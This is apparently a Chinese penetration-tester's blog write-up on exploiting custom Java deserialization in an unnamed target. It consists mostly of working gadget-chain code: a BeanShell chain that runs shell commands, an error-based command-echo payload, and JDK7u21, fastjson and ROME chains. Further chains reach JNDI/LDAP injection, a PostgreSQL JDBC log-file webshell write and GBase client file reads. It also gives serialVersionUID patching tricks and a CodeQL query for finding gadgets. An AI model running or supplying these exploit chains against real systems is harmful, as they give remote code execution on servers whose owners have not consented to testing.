某系统艰难的反序列化
1.自定义反序列化
在它的某个页面中,发现了自定义反序列化,这个页面好就好在它会返回报错堆栈的序列化数据,方便debug。
URLDNS探测结果如下。
cc31or321
ajw
JRE8u20
fastjson
windows
cb17
bsh20b4
DefiningClassLoader
Jdk7u21
看起来反序列化链很多,实际结果呢?用jdk7u21试一试,结果当然是失败了。我们可以解析序列化报错堆栈来看为什么失败。
赫然发现根本没有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类。
回过头来看反序列化链,jdk7u21和jre8u20要TemplatesImpl,fastjson和cb17本质是调getter,基本也需要TemplatesImpl,那么剩下的就是cc31or321/ajw/bsh20b4。
继续探索后发现这三个类都被ban了,那么CC系和CB系就别想了。
org.apache.commons.collections.map.LazyMap
org.apache.commons.collections.map.TransformedMap
org.apache.commons.beanutils.BeanComparator
2.Bsh反序列化链
自此只剩下了bsh20b4链,这也是最终答案,但是依旧有坑点需要解决。
Interpreter interpreter = new Interpreter(); String cmd = "calc"; String func = "isWin = java.lang.System.getProperty(\"os.name\").toLowerCase().contains(\"win\");" + "compare(Object foo, Object bar) {" + "if(isWin){new java.lang.ProcessBuilder(new String[]{\"cmd.exe\",\"/c\",\""+cmd+"\"}).start();}" + "else{new java.lang.ProcessBuilder(new String[]{\"/bin/bash\",\"-c\",\""+cmd+"\"}).start();}" + "return new Integer(1);}"; interpreter.eval(func); XThis xt = new XThis(interpreter.getNameSpace(), interpreter); InvocationHandler handler = (InvocationHandler) getFieldValue(xt, "invocationHandler"); Comparator proxy = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(),new Class[]{Comparator.class}, handler); final PriorityQueue pq = new PriorityQueue(); pq.add(1); pq.add(2); setFieldValue(pq, "comparator", proxy);
得到的结果居然是
java.io.InvalidClassException: bsh.XThis; local class incompatible: stream classdesc serialVersionUID = -6803452281441498586, local class serialVersionUID = -5567781273343879209
尽管用的是同版本,依旧有serialVersionUID报错。首先我们得知道如何获取class的serialVersionUID,因为这玩意儿你直接反编译jar包,很多时候都看不到。
ObjectStreamClass osc1 = ObjectStreamClass.lookup(bsh.XThis.class); System.out.println(osc1.getSerialVersionUID());
其次就是怎么将本地上的serialVersionUID改成一样,有两种办法。
第一种是直接在引用jar包的同时,复制一个完全一样的类,并且自定义serialVersionUID属性。
这样的话,第三方jar包的bsh.XThis类就会被覆盖掉。同理,这种办法也可以应用在你需要修改第三方jar包的情况下(比如iiop的nat问题)。但注意,如果是jdk自带类,是无法覆盖掉的,这个时候就需要用到第二种方法。
第二种,反射修改。
当然,由于serialVersionUID是final修饰,我们常用的setFieldValue是无法修改的。
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
以下是实战中可能会碰上的修改TemplatesImpl的sUID。
TemplatesImpl obj = new TemplatesImpl(); java.lang.reflect.Field sUID = obj.getClass().getDeclaredField("serialVersionUID"); sUID.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(sUID, sUID.getModifiers() & ~Modifier.FINAL); sUID.set(obj, -3070939614679977597L); System.out.print(getFieldValue(obj, "serialVersionUID"));
总而言之,当修改掉三处serialVersionUID之后,就能成功反序列化并执行命令了。此时由于无法用TemplatesImpl,只能用Bcel和DefineClass,再加上对方的环境不一定是tomcat,所以命令回显或者内存马并没有那么容易。但是这不是有序列化的堆栈回显吗?所以可以利用报错,轻松解析对方的返回包来达到命令回显的目的。考虑到对方jdk版本可能较低,bsh回显代码如下。
if (cmd.isEmpty()) { cmd = "whoami"; } ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("foo"); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setExceptionTypes(new CtClass[]{pool.get("java.lang.Exception")}); constructor.setBody("{" + " String cmd = \""+cmd+"\";\r\n" + " String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", cmd} : new String[]{\"/bin/sh\", \"-c\", cmd};\r\n" + " Process process = Runtime.getRuntime().exec(cmds);\r\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();\r\n" + " java.util.Scanner s = new java.util.Scanner(in).useDelimiter(\"\\\\a\");\r\n" + " String output = s.hasNext() ? s.next() : \"\";\r\n" + " output = \"@@@@@\\r\\n\"+output+\"\\r\\n@@@@@\";\r\n" + " throw new Exception(output);" + "}"); clazz.addConstructor(constructor); clazz.getClassFile().setMajorVersion(50);//jdk1.6 52=jdk1.8 byte[] bs = clazz.toBytecode(); String base64 = base64_encode(bs); Interpreter interpreter = new Interpreter(); String func = "compare(Object foo, Object bar) {" + "new org.mozilla.javascript.DefiningClassLoader().defineClass(\"foo\",new sun.misc.BASE64Decoder().decodeBuffer(\""+base64+"\")).newInstance();" + "return new Integer(1);" + "}";
不过需要注意,这样反序列化返回包提取信息有着被反制的风险。
3.升级jdk7u21
后来发现有的目标将bsh版本升高了,返回
bsh.XThis$Handler; class invalid for deserialization
也就是说bsh.XThis$Handler不再支持反序列化,因此后续可能需要结合其他getter来利用。由于发现目标用的低版本JDK,因此jdk7u21+getConnection就是一种可能的组合。
我之前的一篇文章《从CommonsBeanutils说开去》中使用了cb链+getConnection,在jdk7u21中也可以这样用,先回顾下jdk7u21的代码。
FileInputStream inputFromFile = new FileInputStream("D:\\Downloads\\workspace\\javareadobject\\bin\\test\\TemplatesImplcmd.class"); byte[] bs = new byte[inputFromFile.available()]; inputFromFile.read(bs); TemplatesImpl tempImpl = new TemplatesImpl(); setFieldValue(tempImpl, "_bytecodes", new byte[][]{bs}); setFieldValue(tempImpl, "_name", "TemplatesImpl"); setFieldValue(tempImpl, "_tfactory", new TransformerFactoryImpl());
HashMap hm = new HashMap(); Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; Permit.setAccessible(ctor); InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm }); setFieldValue(ih, "type", Templates.class); Templates TemplatesProxy = (Templates)Proxy.newProxyInstance(Templates.class.getClassLoader(), new Class[] {Templates.class}, ih); LinkedHashSet lhs = new LinkedHashSet(); lhs.add(tempImpl); lhs.add(TemplatesProxy); setFieldValue(tempImpl, "_auxClasses", null); setFieldValue(tempImpl, "_class", null); hm.put("0DE2FF10", tempImpl);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser")); objectOutputStream.writeObject(lhs); objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser")); objectInputStream.readObject();
可以看的出来,jdk7u21本质上是往LinkedHashSet中放两个对象,一个是恶意类,一个是此类的接口的代理,然后通过反序列化链随机触发代理的一个方法。和CB链本质上执行任意getter一样,jdk7u21本质上就是执行接口的无参方法。如果有多个方法怎么办呢?测试下来发现会随机执行,如果运气比较差,有危害的方法不在第一个,就会直接抛错退出了。
如下图,Templates随机触发newTransformer和getOutputProperties,这两个都会RCE。
用jdk7多次执行如下代码也可以快速发现排第一个的方法是哪个。
Class clazz = Class.forName("javax.sql.RowSet"); Method[] methods = clazz.getMethods(); System.out.println(methods[0]);// for (int i = 0; i < methods.length; i++) {// System.out.println(methods[0]);// }
具体原理如下。
https://www.lmboke.com/archives/jvmyuan-ma-fen-xi-zhi-bu-bao-zheng-shun-xu-de-class.getmethods
而javax.sql.DataSource这个接口正好有getConnection()以触发jdbc,所以只需要找个实现了DataSource和Serializable接口的类就行。
在数据库相关jar包中,很容易找到这种类,之前我找到的是com.mysql.cj.jdbc.MysqlDataSource和oracle.jdbc.datasource.impl.OracleDataSource,但在目标环境中都无法使用。一是它没有mysql依赖,二是它jdk版本较低,而这两个类的代码要求高版本jdk。
在Oracle中很容易找到替代类,可以造成SSRF。
OracleConnectionPoolDataSource ods = new OracleConnectionPoolDataSource(); ods.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/orcl"); ods.setUser("system"); ods.setPassword("123456"); HashMap hm = new HashMap(); Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; Permit.setAccessible(ctor); InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm }); setFieldValue(ih, "type", DataSource.class); DataSource TemplatesProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih); LinkedHashSet lhs = new LinkedHashSet(); lhs.add(ods); lhs.add(TemplatesProxy); hm.put("0DE2FF10", ods);
Oracle中还各有一个setter和一个getter可以造成jndi。
oracle.jdbc.rowset.OracleCachedRowSet obj = new OracleCachedRowSet();obj.setDataSourceName("ldap://127.0.0.1:1389/exp");obj.getConnection();
oracle.jdbc.rowset.OracleJDBCRowSet obj2 = new OracleJDBCRowSet();obj2.setDataSourceName("ldap://127.0.0.1:1389/exp");obj2.setCommand("123");
后者曾在fastjson上使用过,前者可以本地环境测试成功,但实际用的时候会因为javax.sql.RowSetInternal接口方法太多,对方jdk环境第一个不是getConnection()导致报错。
OracleCachedRowSet obj = new OracleCachedRowSet(); obj.setDataSourceName("ldap://127.0.0.1:1389/exp"); //obj.getConnection();
HashMap hm = new HashMap(); Constructor<?> ctor2 = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; Permit.setAccessible(ctor2); InvocationHandler ih = (InvocationHandler)ctor2.newInstance(new Object[] { Override.class, hm }); setFieldValue(ih, "type", RowSetInternal.class); RowSetInternal odsProxy = (RowSetInternal)Proxy.newProxyInstance(RowSetInternal.class.getClassLoader(), new Class[] {RowSetInternal.class}, ih); LinkedHashSet lhs = new LinkedHashSet(); lhs.add(obj); lhs.add(odsProxy); hm.put("0DE2FF10", obj);
4.其他getConnection
仅SSRF显然是完全不够的,使用URLDNS继续探测jndi常用类,有如下结果。
org_apache_naming_factory_BeanFactory
org_postgresql_Driver
oracle_jdbc_driver_OracleDriver
org_yaml_snakeyaml_Yaml
com_thoughtworks_xstream_XStream
org_apache_catalina_users_MemoryUserDatabaseFactory
org_apache_commons_dbcp_BasicDataSourceFactory
org_apache_catalina_UserDatabase
其中postgresql可供我们jdbc攻击,而commons-dbcp则可能提供类似oracle.ucp.jdbc.PoolDataSourceImpl这种封装jdbc的类。
首先可以想到的是在fastjson不出网解决方案之一的org.apache.tomcat.dbcp.dbcp.BasicDataSource,不过很遗憾它没有实现Serializable。
继而我们可以发散思维,在jackson的黑名单中寻找方案。
s.add("org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS"); s.add("org.apache.tomcat.dbcp.dbcp.datasources.PerUserPoolDataSource"); s.add("org.apache.tomcat.dbcp.dbcp.datasources.SharedPoolDataSource");
其中PerUserPoolDataSource和SharedPoolDataSource都是InstanceKeyDataSource的子类,它们可以实现jndi。
InstanceKeyDataSource dbs = new SharedPoolDataSource(); //dbs = new PerUserPoolDataSource(); dbs.setDataSourceName("ldap://127.0.0.1:1389/deser:cck2:Y2FsYw=="); //dbs.getConnection(); HashMap hm = new HashMap(); Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; Permit.setAccessible(ctor); InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm }); setFieldValue(ih, "type", DataSource.class); DataSource dbsProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih); LinkedHashSet lhs = new LinkedHashSet(); lhs.add(dbs); lhs.add(dbsProxy); hm.put("0DE2FF10", dbs);
同时也存在sUID和依赖问题,使用commons-dbcp-1.2.jar/ commons-pool-1.2.jar/ commons-collections-3.1.jar即可。
但遗憾的是,本地测试没问题,实际漏洞利用的时候会报空指针。可能是因为低版本JDK的原因,而oldDS.pool是新生成的,无法控制。
于是将目光转向DriverAdapterCPDS,可以发现它实现javax.sql.ConnectionPoolDataSource,getPooledConnection()可以造成jdbc。
DriverAdapterCPDS dbs = new DriverAdapterCPDS(); dbs.setUrl("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp"); dbs.setDriver("org.postgresql.Driver"); dbs.setUser("root"); dbs.setPassword("123456"); //dbs.getPooledConnection(); HashMap hm = new HashMap(); Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; Permit.setAccessible(ctor); InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm }); setFieldValue(ih, "type", ConnectionPoolDataSource.class); ConnectionPoolDataSource dbsProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih); LinkedHashSet lhs = new LinkedHashSet(); lhs.add(dbs); lhs.add(dbsProxy); hm.put("0DE2FF10", dbs);
举一反三,还可以在postgresql中发现org.postgresql.ds.PGConnectionPoolDataSource,也实现了ConnectionPoolDataSource。
PGConnectionPoolDataSource ods = new PGConnectionPoolDataSource(); ods.setURL("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp"); ods.setUser("root"); ods.setPassword("123456"); HashMap hm = new HashMap(); Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; Permit.setAccessible(ctor); InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm }); setFieldValue(ih, "type", ConnectionPoolDataSource.class); ConnectionPoolDataSource odsProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih); LinkedHashSet lhs = new LinkedHashSet(); lhs.add(ods); lhs.add(odsProxy); hm.put("0DE2FF10", ods);
postgresql存在两个jdbc漏洞,在目标环境上可以使用吗?答案是不行,对方使用的是低版本postgresql,并不存在那两个漏洞。
5.gbase jdbc
目标存在国产数据库(魔改mysql)gbase,用法和mysql几乎完全一样,虽然数据库无法用load data local infile语句,但客户端依旧存在文件读取漏洞。
GBaseDataSource obj = new GBaseDataSource(); obj.setAllowLoadLocalInfile(true); obj.setAllowUrlInLocalInfile(true); obj.setMaxAllowedPacket(65536); obj.setUser("root"); obj.setPassword("123456"); obj.setServerName("127.0.0.1"); obj.setPort(3307); //obj.getConnection(); HashMap hm = new HashMap(); Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; Permit.setAccessible(ctor); InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm }); setFieldValue(ih, "type", DataSource.class); DataSource odsProxy = (DataSource)Proxy.newProxyInstance(DataSource.class.getClassLoader(), new Class[] {DataSource.class}, ih); LinkedHashSet lhs = new LinkedHashSet(); lhs.add(obj); lhs.add(odsProxy); hm.put("0DE2FF10", obj);
6.db2 jdbc
可以看出来,辛辛苦苦找的链均因为各种意外无法RCE,于是在目标上又探测到了db2和mssql,其中db2是存在jdbc转jndi的。
Class.forName("com.ibm.db2.jcc.DB2Driver"); String DB_URL = "jdbc:db2://localhost:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/qqq;"; Connection conn = DriverManager.getConnection(DB_URL);
很容易在db2jcc.jar上找到符合条件的类也就是com.ibm.db2.jcc.DB2ConnectionPoolDataSource
DB2ConnectionPoolDataSource db2 = new DB2ConnectionPoolDataSource(); db2.setDriverType(4); db2.setServerName("127.0.0.1"); db2.setLoginTimeout(10000); db2.setPortNumber(5667); db2.setUser("root"); db2.setPassword("123456"); db2.setDatabaseName("test"); db2.setClientRerouteServerListJNDIName("ldap://127.0.0.1:1389/qqq"); //db2.getPooledConnection(); HashMap hm = new HashMap(); Constructor<?> ctor = (Constructor<?>) Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0]; Permit.setAccessible(ctor); InvocationHandler ih = (InvocationHandler)ctor.newInstance(new Object[] { Override.class, hm }); setFieldValue(ih, "type", ConnectionPoolDataSource.class); ConnectionPoolDataSource DataSourceProxy = (ConnectionPoolDataSource)Proxy.newProxyInstance(ConnectionPoolDataSource.class.getClassLoader(), new Class[] {ConnectionPoolDataSource.class}, ih); LinkedHashSet lhs = new LinkedHashSet(); lhs.add(db2); lhs.add(DataSourceProxy); hm.put("0DE2FF10", db2);
这条反序列化转jdbc转jndi注入链倒是很顺利,没出什么问题。
7.codeql
找链的过程中还歪到什么rmi/swing上去了,整个过程离不开codeql的帮助。简单写写大概就是这样的。
import java
abstract class Sink extends Method{}abstract class Source extends SerializableMethod{}
class SerializableMethod extends Method { SerializableMethod() { this.getDeclaringType().getASupertype*() instanceof TypeSerializable and not this.getDeclaringType().isAbstract() //不是接口或者抽象类 and this.getDeclaringType().getASupertype*().isAbstract() and this.fromSource() and this.isPublic() and this.paramsString() = "()" //and this.getDeclaringType().getASupertype*().hasQualifiedName("javax.sql", "DataSource") }
}
class GetMethod extends Source { GetMethod() { (this.getName().matches("connect") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("connect")) or (this.getName().matches("get%Connection") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("get%Connection")) or (this.getName().matches("run") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("run")) or (this.getName().matches("execute") and this.getDeclaringType().getASupertype*().getAMethod().getName().matches("execute")) }}
from GetMethod sourceselect source,source.getDeclaringType().getPackage().getName(),source.getDeclaringType(),source.getTotalNumberOfLines()
一些看起来能够造成危害实际上不行的方法。
bsh.util.AWTConsole.run() //java.io.PipedOutputStream无法序列化javax.management.remote.rmi.RMIConnector.connect() //第一个方法不是它oracle.jdbc.connector.OracleManagedConnectionFactory.getLogWriter() //第一个方法不是它oracle.jdbc.rowset.OracleJDBCRowSet.execute() //第一个方法不是它oracle.jdbc.pool.OraclePooledConnection.getConnection() //jdbc泄露用户名,但构造更加复杂,参考CVE-2021-2294net.sourceforge.jtds.jdbcx.JtdsDataSource.getConnection() //jdbc泄露主机名,可写文件但无法控制内容。
8. fastjson+jndi
这里的fastjson完全不能用吗?当然不是,虽然fastjson原生反序列化链通常也是拿来触发TemplatesImpl.getOutputProperties(),但显然其他getter也可以。比如被我们抛弃的InstanceKeyDataSource。
InstanceKeyDataSource obj = new SharedPoolDataSource(); //obj = new PerUserPoolDataSource(); obj.setDataSourceName("ldap://127.0.0.1:1389/exp"); JSONArray jsonArray = new JSONArray(); jsonArray.add(obj);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setFieldValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap(); hashMap.put(obj,bd);
当然,我们更倾向于使用jdk原生getter而不是第三方jar包,原生getter中有一个非常出名的getter——com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()。
但接到fastjson链中却不太好用,因为fastjson会轮询所有getter,在执行我们想要的那个getter之前,会触发其他getter导致进入checkState()校验导致报错中断。
当然,也许可以捏造出符合条件的conn/ps/rs,但终究还是很麻烦。于是一个可以替代JdbcRowSetImpl的com.sun.jndi.ldap.LdapAttribute就能派上用场了。
Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class}); ctor.setAccessible(true); Attribute obj = (Attribute) ctor.newInstance("id"); setFieldValue(obj, "baseCtxURL", "ldap://127.0.0.1:1389/"); setFieldValue(obj, "rdn", new CompositeName("exp"+"//b")); obj.getAttributeDefinition();
本地测试如下。
String url = "ldap://127.0.0.1:1389/deser:fastjson2:Y2FsYw=="; String ldap_url = url.substring(0,url.lastIndexOf("/")); String rdn = url.substring(url.lastIndexOf("/")+1); System.out.print(ldap_url+"\r\n"); System.out.print(rdn+"\r\n"); Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class}); ctor.setAccessible(true); Attribute obj = (Attribute) ctor.newInstance("id"); setFieldValue(obj, "baseCtxURL", ldap_url); setFieldValue(obj, "rdn", new CompositeName(rdn+"//b")); //obj.getAttributeDefinition();
JSONArray jsonArray = new JSONArray(); jsonArray.add(obj); BadAttributeValueExpException bd = new BadAttributeValueExpException(null); setFieldValue(bd,"val",jsonArray); HashMap hashMap = new HashMap(); hashMap.put(obj,bd);
不过遗憾的是BadAttributeValueExpException这个触发toString的核心类,在jdk1.7版本无法触发toString,因此fastjson和jackson的原生反序列化都只能用在jdk1.8或者以上版本。
有没有其他能够触发toString的办法呢?当然有,刚好有篇比较新的文章介绍了几个链。
HotSwappableTargetSource & XString
依赖spring-aop.jar/spring-core.jar
String url = "ldap://127.0.0.1:1389/deser:cb18:Y2FsYw=="; String ldap_url = url.substring(0,url.lastIndexOf("/")); String rdn = url.substring(url.lastIndexOf("/")+1); System.out.print(ldap_url+"\r\n"); System.out.print(rdn+"\r\n"); Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new Class<?>[]{String.class}); ctor.setAccessible(true); Attribute obj = (Attribute) ctor.newInstance("id"); setFieldValue(obj, "baseCtxURL", ldap_url); setFieldValue(obj, "rdn", new CompositeName(rdn+"//b")); //obj.getAttributeDefinition(); JSONObject jsonObject = new JSONObject(); jsonObject.put("g","m"); JSONObject jsonObject1 = new JSONObject(); jsonObject1.put("g",obj);
HotSwappableTargetSource v1 = new HotSwappableTargetSource(jsonObject); HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("x"));
HashMap<Object,Object> hashMap = new HashMap<>(); String java_version = System.getProperty("java.version").substring(0,3); double version = Double.parseDouble(java_version); System.out.println(version); if (version < 1.8) { hashMap.put(v2,v2); hashMap.put(v1,v1); } else { hashMap.put(v1,v1); hashMap.put(v2,v2); } setFieldValue(v1,"target",jsonObject1); HashMap hashMap2 = new HashMap(); hashMap2.put(obj, hashMap);
这条链有两个问题,一个是在jdk1.7时由于HashMap代码的变动,需要更改一下put顺序,另外一个就是它也存在和BadAttributeValueExpException一样的问题,fastjson版本过高就会经过checkAutoType导致报错。可以注意我最后用hashMap的处理。
9. ROME
文章中还介绍了ROME链。
EqualsBean,依赖ROME<1.12.0
这条链如文章所述,有个反直觉的地方,JdbcRowSetImpl可以用,LdapAttribute用不了。LdapAttribute用不了的原因是LdapAttribute有个方法get(),会导致获取getter时报错——因为取不到getXX后面的XX。
而JdbcRowSetImpl可以用的原因是因为运气够好,恰好getDatabaseMetaData()前面的getter都不会报错(不是100%)。
详情可以断点com.sun.syndication.feed.impl.BeanIntrospector.getPDs()查看。
原文中给出的ROME链是这样的。
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1)); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean); Object templatesimpl = null;
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"123");
Field field = toStringBean.getClass().getDeclaredField("obj"); // 低版本(如1.0)此属性名为 _obj field.setAccessible(true); field.set(toStringBean,templatesimpl);
先要把Templates 改成JdbcRowSetImpl。
new ConstantTransformer(1)看起来依赖CC链,实际上不是必须的。这里只是为了实例化时不报错,后面会反射成Templatesimpl。顺便做obj/_obj的兼容性处理。
JdbcRowSetImpl obj = new JdbcRowSetImpl(); JdbcRowSetImpl obj2 = new JdbcRowSetImpl(); obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2); EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"1"); try { setFieldValue(toStringBean, "obj", obj); } catch (Exception e) { setFieldValue(toStringBean, "_obj", obj); }
由于ROME高版本和低版本包名不同,因此做反射处理。
JdbcRowSetImpl obj = new JdbcRowSetImpl(); JdbcRowSetImpl obj2 = new JdbcRowSetImpl(); obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
Class clazzToStringBean; Class clazzEqualsBean; try { clazzToStringBean = Class.forName("com.rometools.rome.feed.impl.ToStringBean"); } catch (Exception e) { clazzToStringBean = Class.forName("com.sun.syndication.feed.impl.ToStringBean"); } try { clazzEqualsBean = Class.forName("com.rometools.rome.feed.impl.EqualsBean"); } catch (Exception e) { clazzEqualsBean = Class.forName("com.sun.syndication.feed.impl.EqualsBean"); } Object toStringBean = clazzToStringBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(JdbcRowSetImpl.class,obj2); Object equalsBean = clazzEqualsBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(clazzToStringBean,toStringBean); //Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2); //EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>(); hashMap.put(equalsBean,"1"); try { setFieldValue(toStringBean, "obj", obj); } catch (Exception e) { setFieldValue(toStringBean, "_obj", obj); }
这样已经可以本地测试成功了,但在 HashMap.put()时会有报错,尽管不影响执行。
在jdk1.7中是因为put时会触发toString,而toString会报错。如果将ToStringBean(JdbcRowSetImpl.class,obj2)中的obj2换成obj,就会提前触发jndi。正是靠这个原理,才能用readObject触发put触发toString。
想要不出现这个报错,绕过put()内的hash()即可,然后做jdk1.8和jdk1.7的兼容性处理。
JdbcRowSetImpl obj = new JdbcRowSetImpl(); JdbcRowSetImpl obj2 = new JdbcRowSetImpl(); obj.setDataSourceName("ldap://127.0.0.1:1389/exp");
Class clazzToStringBean; Class clazzEqualsBean; try { clazzToStringBean = Class.forName("com.rometools.rome.feed.impl.ToStringBean"); } catch (Exception e) { clazzToStringBean = Class.forName("com.sun.syndication.feed.impl.ToStringBean"); } try { clazzEqualsBean = Class.forName("com.rometools.rome.feed.impl.EqualsBean"); } catch (Exception e) { clazzEqualsBean = Class.forName("com.sun.syndication.feed.impl.EqualsBean"); } Object toStringBean = clazzToStringBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(JdbcRowSetImpl.class,obj2); Object equalsBean = clazzEqualsBean.getDeclaredConstructor(new Class<?>[]{Class.class,Object.class}).newInstance(clazzToStringBean,toStringBean); //Object toStringBean = new ToStringBean(JdbcRowSetImpl.class,obj2); //EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>(); try { setFieldValue(hashMap, "modCount", 1); Method addEntry = HashMap.class.getDeclaredMethod("addEntry", new Class[]{int.class,Object.class,Object.class,int.class}); addEntry.setAccessible(true); addEntry.invoke(hashMap, new Object[]{-2122412728,equalsBean,"123",8}); } catch (Exception e) { try { Method putVal = HashMap.class.getDeclaredMethod("putVal", new Class[]{int.class,Object.class,Object.class,boolean.class,boolean.class}); putVal.setAccessible(true); putVal.invoke(hashMap, new Object[]{-1997974365,equalsBean,"123",false,true}); } catch (Exception e2) { hashMap.put(equalsBean,"123"); } } try { setFieldValue(toStringBean, "obj", obj); } catch (Exception e) { setFieldValue(toStringBean, "_obj", obj); }
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。